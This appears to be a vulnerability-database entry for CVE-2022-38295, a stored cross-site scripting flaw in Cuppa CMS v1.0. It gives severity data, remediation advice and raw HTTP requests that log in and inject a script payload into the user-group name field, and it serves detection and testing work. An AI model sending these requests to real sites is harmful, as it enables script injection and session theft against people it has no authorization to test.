🔙 목록으로 돌아가기

CVE-2022-38295: Cuppa CMS v1.0 - Cross Site Scripting

TitleCuppa CMS v1.0 - Cross Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
RemediationTo remediate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score6.1
EPSS Score0.33662
CVE IDCVE-2022-38295
CWE IDCWE-79
Tags cve2022 cve xss cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=mgUtnK&password=g1YOV6&language=en&task=login
POST /components/table_manager/classes/functions.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Content-Length: 162
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

id_field=0&name_field="><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable
POST /components/table_manager/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

path=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38295.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-38295.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A